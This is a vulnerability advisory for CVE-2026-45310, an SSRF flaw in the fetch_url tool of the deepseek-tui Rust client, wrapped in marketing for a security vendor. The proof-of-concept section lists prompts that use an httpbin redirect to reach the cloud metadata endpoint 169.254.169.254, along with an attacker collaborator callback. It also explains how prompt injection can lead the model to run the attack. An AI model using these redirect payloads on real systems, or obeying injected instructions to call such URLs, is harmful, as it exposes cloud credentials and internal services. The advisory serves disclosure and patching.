Summary
The fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections.
PoC
Step 1, Baseline: Confirm fetch_url blocks direct requests to restricted IPs.
Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/
Expected: Error, "restricted address (private/loopback/link-local)"
Step 2, SSRF bypass via redirect: Fetch a public URL that redirects to the restricted IP.
Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302
Expected result: The error message says "connection refused" or "request failed: connect error", NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because 169.254.169.254 is unreachable from a non-cloud machine.
Observed result: fetch_url followed the 302 redirect and attempted to connect to 169.254.169.254. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.
Step 3, Redirect to attacker-controlled host: Confirm attacker-controlled redirect targets are followed.
Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302
Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.
Impact
On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting fetch_url to http://169.254.169.254/latest/meta-data/. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call fetch_url with an attacker-controlled URL.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-45310 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.22); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
deepseek-tui to 0.8.22 or later; deepseek-tui-cli to 0.8.22 or later; deepseek-tui to 0.8.22 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-45310? CVE-2026-45310 is a high-severity server-side request forgery (SSRF) vulnerability in deepseek-tui (rust), affecting versions < 0.8.22. It is fixed in 0.8.22. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-45310? CVE-2026-45310 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-45310?
deepseek-tui(rust) (versions < 0.8.22)deepseek-tui-cli(rust) (versions < 0.8.22)
- Is there a fix for CVE-2026-45310? Yes. CVE-2026-45310 is fixed in 0.8.22. Upgrade to this version or later.
- Is CVE-2026-45310 exploitable, and should I be worried? Whether CVE-2026-45310 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-45310 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-45310?
- Upgrade
deepseek-tuito 0.8.22 or later - Upgrade
deepseek-tui-clito 0.8.22 or later - Upgrade
deepseek-tuito 0.8.22 or later
- Upgrade